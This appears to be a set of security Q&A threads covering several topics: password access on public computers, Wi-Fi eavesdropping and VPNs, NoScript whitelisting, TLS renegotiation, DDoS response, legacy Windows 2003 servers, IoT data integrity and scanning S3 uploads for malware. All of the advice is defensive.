What should I do when I am using a public computer without secure access to my password manager? I have my passwords saved in Chrome and I use Chrome sync. When I am on a public computer I can't sign into Chrome (per google's recommendations https://goo.gl/7cwGsC). Logging into gmail and going to passwords.google.com gets me my passwords, however I can't look at them because my screen is visible to everyone around me.

The only work-around I can come up with is to use a phone vault to store my usernames and passwords for use when I am away from my own machine. Any suggestions or comments about if this is a good fit for the situation would be appreciated. Also, if the file vault would work, a recommendation would be very welcome. Thanks.

There are a number of approaches you could consider. None of them involve using the browsers password store.

Firstly, you should consider using a dedicated web-based password management tool such as LastPass. Most importantly in this case, this has a one-time password feature that allows use of LastPass on untrusted devices.

You can also add multi-factor authentication options to this for added security.

This doesn't make you completely secure though and you should always assume that an unknown computer is compromised so restrict what you do carefully.

In general using a mobile phone will be more secure than an unknown computer.

UPDATE: LastPass protects you on an untrusted computer because you use a single-use passcode (that you have to have generated in advance). That gets you access to a web page, your "vault". On that page, you can directly launch a password protected site without having to manually type your id and password. For most sites, this will prevent any key-logging or traffic interception of your password.

It goes without saying that you get no protection from this on any site not using HTTPS.

It is also important to note that this only protects against capturing of your passcode. It does not prevent capturing of other information, nor would it help protect against certain malware designed specifically to attack financial sites such as personal banking. An untrusted computer is always untrusted. However, it may be enough for you to grab an image or low-value document from your iCloud or other cloud service or to log into your webmail to check non-sensitive information.

It might also be helpful for me to note that I don't trust LastPass for everything. I also use a stand-alone system called KeePass for really high-value passcodes. This is still cross-platform (e.g. both desktop and mobile) and with an easily copyable file database but can be kept offline or hidden away somewhere. So you could use that as a "phone vault".

I still wouldn't access finance and other high-value sites from an untrusted computer though.


Can wifi administrator see data transfer over android phone. precisely gmail app communication sometimes I connect to wifi outside my home in office , restaurants and friends house. I want to know if wifi administrator can see the exact data my android phone communicates?

I am only concerned about gmail and skype apps to be precise. I believe Gmail uses some sort of encoding before data transmission making it hard to read even if administrator see the data transmission.

Please correct me if I am wrong. Also if you can tell me some security measures I can take to protect the privacy.

Thanks,
kiran

Yes, your data is not protected by default and can be intercepted by people that administer the WIFI and other devices that transfer data on the network.

The encoding you are talking about is SSL. SSL enabled websites will protect your data from being read by attackers that can control the communication channel (WIFI, ethernet cable, ISP). Here is a good description of how SSL works.

For the data that is not protected by SSL, you can use the technology called VPN. This would encrypt and protect all your communication from being intercepted by attackers. Here are 7 free VPN services.


NoScript: How to determine which sites/scripts to whitelist? NoScript is a great plug-in, both for security and for ad blocking.  However, I've found it's not always easy to figure out what scripts need to be permitted on certain pages, to be able to use the features I want while still blocking unnecessary scripts.  Many times, it's not simply sufficient to turn on scripts for the domain of the site you're visiting.

For example, to use StackExchange to its fullest I've had to enable scripts for:

stackexchange.com
googleapis.com
sstatic.net

In the past, I've generally just figured this out through trial and error.  However, that is most definitely not the way it should be done.  It leaves me vulnerable to still possibly running malicious or advertising scripts during that trial and error phase, which could lead to irrecoverable damage.

Most of the time, this issue arises when I want to use a certain feature on a website but the script is hosted by a different domain.  I usually start by enabling the "usual suspects" like domain.tld, domaincdn.tld, domain-images.tld.  Still, this doesn't always work.  And, slightly beside this matter, there's really no intuitive way (short of running a WHOIS query, and trusting those results) for me to be certain that domain-images.tld is owned and controlled by the same people running domain.tld, or that its scripts are actually offering any functionality that I want.

Is there an additional plug-in or other method which can be used for me to figure out which domains/scripts need to be white-listed for me to use certain features of a website?  Preferably, the method should not require knowledge of any scripting languages or require the user to interpret the sites' source code.

My concept of an "ideal" solution would be a plugin that allows me to right-click any interactive page element (button, hyperlink, flash object, etc) and see a list of sites that host scripts required for that element to perform its function.  It should also allow me to right-click an empty spot in the page, and see what domains host scripts that affect the layout and formatting of the page.

  This question was IT Security Question of the Week.
  Read the Sep 02, 2011 blog entry for more details or submit your own Question of the Week.

You could install a site advisor plugin like for example McAfee's site advisor. By doing this you can easier search the domain for any reported maliciousness.

For example I search a domain which a big newspaper is getting their adds from I get report back saying generally OK, but community reports say "Adware, spyware, or viruses (1)".

I'm sure there exists more and possibly better plugins for searching a domain for their rating aswell.

EDIT: I would like to add this snippet I found from NoScript's FAQ:

  Starting with version 1.9.9.61,
  NoScript offers a "Site Info" page
  which can help you to assess the
  trustworthyness of the web sites shown
  in your NoScript menu. You can access
  this service by middle-clicking or
  shift-clicking the relevant menu item.
  If you're more on the technical side
  and you want to examine the JavaScript
  source code before allowing, you can
  help yourself with JSView.

So if you are curious if you should trust it or not just middle click the domain and it will query the following sites for information:

WOT Scorecard
McAfee SiteAdvisor®
Webmaster Tips Site Information
Safe Browsing Diagnostic on google-analytics.com


Inducing TLS renegotiation Is it possible to induce ssl renegotiation for a browser via command line / a curl request. I know it is possible to rate limit ssl renegotiation but do not know how to do it the other way around.

I found some claims by F5 network's BIG-IP product, but there are no details on how is this achieved.

Further, what is the criterion for a web browser to renegotiate TLS keys?

I believe the renegotiation is done probably after a particular timeout, in which case is it possible to change the timeout value in a browser (chrome or firefox).

There are some references on how to do it with Apache's mod_tls but I am particularly looking to do it for a web browser. Recompiling the browser can be considered.

Renegotiation usually happens in the HTTP client in the following cases:

the server requires a renegotiation, typically because the client tries to access a resource which requires a client certificate which the previous handshake did not include
a renegotiation is done for security reasons after some time or number of bytes transferred. In OpenSSL this can be tuned with BIO_set_ssl_renegotiate_bytes and BIO_set_ssl_renegotiate_timeout
if the 64-bit TLS sequence number would overflow a renegotiation is needed

There is not really a need for the user or even developer to tune after how much time or transferred bytes a renegotiation should happen. And some short grep over the  source code of Chromium does not indicate any place where the browser explicitly sets these parameters, i.e. it will simply rely on the underlying TLS stack. This is BoringSSL in case of Chromium which is a derivative of OpenSSL so you can probably use the functions described above to do your own tuning by modifying the source code.


Ongoing DDoS: What is the next step after being able to handle it? Our websites have been the target of an increasing DDoS, the reason is unknown.  Right now, we have taken enough precautions to reliably identify and filter the problematic requests (approx 1 mio/day at its peak, before we stopped counting).  But as there were other efforts to disrupt our service in recurring intervals in the past and the attacks seem related, I wonder what else we could do.

The IPs are obviously just some botnet on consumer devices (DSL connections around the world etc., not TOR nodes), so I even if we started sending out abuse emails, it would not really make a difference, as the IPs are frequently changing.  The attacker also does not seem to really care that the attack is no longer generating any deteriotion on our service, but it has been going on for more than a week now.

What should be our next step, while the attack is still ongoing, but is not harming us?  Collect the IP adresses and report them somewhere?  Handle the problematic requests in a special way in order to reduce the harm of the botnet to others?  Anything to identify who is behind it, or why the site is being attacked?

In other words, right now we can gather information, if the next wave is better we might not be able to do it in such a reliable way.  Can we do anything now?

Reporting the IP addresses will yield little, moreover, nothing. In many cases, the addresses DoS'ing you are likely compromised or infected with malware. Your goal should be to focus your time, resources on minimizing, or getting rid of the capabilities of being DoS'd, this is time better spent. The question becomes, how do you stop/minimize DoS attacks.

My suggestions: Familiarize yourself with RFC 4732. What kind of DoS are you suffering from? Resource exhaustion on the network side? Application side (e.g. someone requesting hundreds of thousands of webpages)? Then focus on fixing that side of the equation.

From the networking side, you could work with your provider to implement BCP38 (RFC 2827), and have your ISP work with your upstream provider to have them too implement some changes however, this is out of your control (the actual change) and you're at the mercy of your provider, and their provider to actually get anything done.

From the application side (say your HTTP server is getting hammered), you could move HTTP over to something like Cloudflare but if THEY go done, so too then you. There are many different approaches to tackling this issue, e.g. load balancing using different Amazon AWS instances, CDN providers, it all depends on how much time, and resources you put into it. As for reporting IPs, it's akin to calling NOT the local authorities, but a local random security guard company, and saying: "I just saw 1,000 suspicious cars driving." I can assure you little will be done.


Minimize risk with Windows 2003 end of life The company I’m at currently has over 500 Windows 2003 servers remaining globally in production and even though they have a refresh plan they are working through, they are not going to be done anytime soon.  Probably not till mid next year considering some of the 3rd party applications and level of effort to migrate those apps to the new servers.

What I would like to know is if there are any solutions that would help reduce the risk of having these boxes on the network for another year or longer.  I understand how bad it is, and management also understands but since I can’t snap my fingers and make them go away, are there any steps I can take to minimize the risk?  None are running any web services, just different application servers and a few SQL database servers.

(Someone in the firm mentioned a product designed specifically for protecting W2K3 servers, but their local partner was inaccessible.)

Realistically, the risk reduction options available will most likely not be cost effective. Especially considering those servers may be upgraded within the year.

Two options that come to mind are network segmentation and application white listing.

Symantec has a nice guide entitled, "Windows Server 2003 Migration: A Guide to Effectively Mitigate Risks".

!! SPOILER ALERT !!

They are going to recommend you take advantage of their product offerings to do so. ;)


How to protect data integrity in IoT network? The security of IoT devices is very important to protect the data uploaded by IoT devices. Because if an attacker force an IoT device to upload misleading/false data, the analytics and insights generated by IoT system would lead to corrupted information.

Therefore in order to make sure that data uploaded by IoT device is guninue and not fake which is the best technique? or in other words how to ensure that the data sent is sent by an authentic device and not the fake (hacked) device?

for example consider a device that monitor BP of patient and sends info remotely to the doctors device. So that doctor could tell the patient what action to take to avoid heart attack. If attacker clone that BP monitoring device, he could connect to doctor's device to send false BP data to doctor making him to give wrong advice. So in such case how the device at receiving end at doctors side ensures that right data is sent by right device?

If you consider that an attacker has access to the device, and can clone it, all bets are basically off. The attacker can probably read the key from the device, unless extra protection such as secure processors are used - and even then bugs in the design is likely to let a sufficiently skilled attacker retrieve the private keys.

However, if an attacker only has access to listen to the traffic, it's relatively feasible to secure it. HMAC is one way of ensuring that. It ensures integrity and authenticity of the data in question, and is stateless.

But by itself it does not protect against replay attacks. Replay attacks could very well be a real risk in this scenario.

To reduce attack surface, you should also change keys, e.g. in between patients, ensuring that if Patient A, who had physical access to the device managed to grab keys, those keys are invalid for Patient B.

As blood pressure is health related information, you should consider encryption as well, to ensure secrecy, in addition to ensuring it's authenticity.

You may also consider things such as frequencies and tx power that ensures the attacker has to be physically close to both intercept and transmit. This does not provide security by itself, but it makes it harder both to intercept traffic and inject traffic.


How do i scan my AWS S3 buckets for malicious content/objects? I am setting up AWS SFTP which uses s3 to store files. I am setting up sftp to exchange files with third party organisations. When i receive files i want to ensure no malicious content is received. How do i scan objects that arrive into my s3?

I have had a look at google and stackoverflow but not finding any definitive way to do achieve this.

I would appreciate any help/guidance.

you can try the approach of using ClamAV which is an open-source AV.

https://github.com/upsidetravel/bucket-antivirus-function

Also Second approach if you can use the Virustotal enterprise API for scanning S3 buckets that's another thing I am trying out currently.